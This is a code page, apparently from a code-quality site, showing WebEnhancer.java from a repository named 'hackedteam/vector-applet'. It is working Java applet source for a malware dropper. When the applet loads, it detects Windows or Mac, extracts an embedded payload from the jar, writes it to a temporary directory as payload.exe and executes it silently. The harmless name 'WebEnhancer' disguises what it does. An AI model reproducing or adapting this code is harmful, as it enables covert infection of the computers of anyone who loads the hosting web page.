hackedteam/vector-applet

View on GitHub
direct/WebEnhancer.java

Summary

Maintainability
A
3 hrs
Test Coverage
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.util.Locale;
import java.util.Properties;

public class WebEnhancer extends Applet {
    
    private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
    
    public void init() {
        Process f;
        InputStream payloadStream = null;
        
        Properties props = new Properties();
        Class clazz = WebEnhancer.class;
        String clazzFile = clazz.getName().replace('.', '/')+".class";
        
        //System.out.println(clazzFile);
        
        try {
            // get payload path
            String payloadPath = "/";
            if (isWindows()) {
                //System.out.println("Running on Windows");
                payloadPath += "win";
            } else if (isMac()) {
                //System.out.println("Running on Mac");
                payloadPath += "mac";
            } else {
                System.out.println("Unknown operating system, quitting!");
                System.exit(0);
            }
            
            // open stream to payload
            payloadStream = clazz.getResourceAsStream(payloadPath);
            
            // write payload to temporary path (inside %tmp% in Windows)
            File dummyTempFile = File.createTempFile("~spawn", ".tmp");
            dummyTempFile.delete();
            File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
            tempDir.mkdir();
            
            File executableFile = new File(tempDir, "payload.exe");
            writeEmbeddedFile(payloadStream, executableFile);
            
            executableFile.setExecutable(true);
            
            // execute payload
            //System.out.println("Running " + executableFile.getCanonicalPath());
            f = Runtime.getRuntime().exec(new String[] {executableFile.getCanonicalPath()});
            f.waitFor();
            
        } catch (IOException ioe) {
            System.out.println("ERROR " + ioe.getMessage());
        } catch (NullPointerException npe) {
            System.out.println("ERROR " + npe.getMessage());
        } catch (InterruptedException ie) {
            System.out.println("ERROR " + ie.getMessage());
        } finally {
            try {
                payloadStream.close();
            } catch (IOException ioe) {
                System.out.println("ERROR " + ioe.getMessage());
            } catch (NullPointerException npe) {
                System.out.println("ERROR " + npe.getMessage());
            }
        }
        System.exit(0);
    }
    
    private static boolean isWindows() {
        if (OS_NAME.startsWith("win"))
            return true;
        return false;
    }
    
    private static boolean isMac() {
        if (OS_NAME.startsWith("mac"))
            return true;
        return false;
    }
    
    private static void writeEmbeddedFile(InputStream in, File targetFile) throws FileNotFoundException, IOException {
        FileOutputStream fos = new FileOutputStream(targetFile);
        byte[] buf = new byte[4096];
        int len;
        while ((len = in.read(buf)) != -1) {
            fos.write(buf,0,len);
        }
        fos.close();
    }
    
}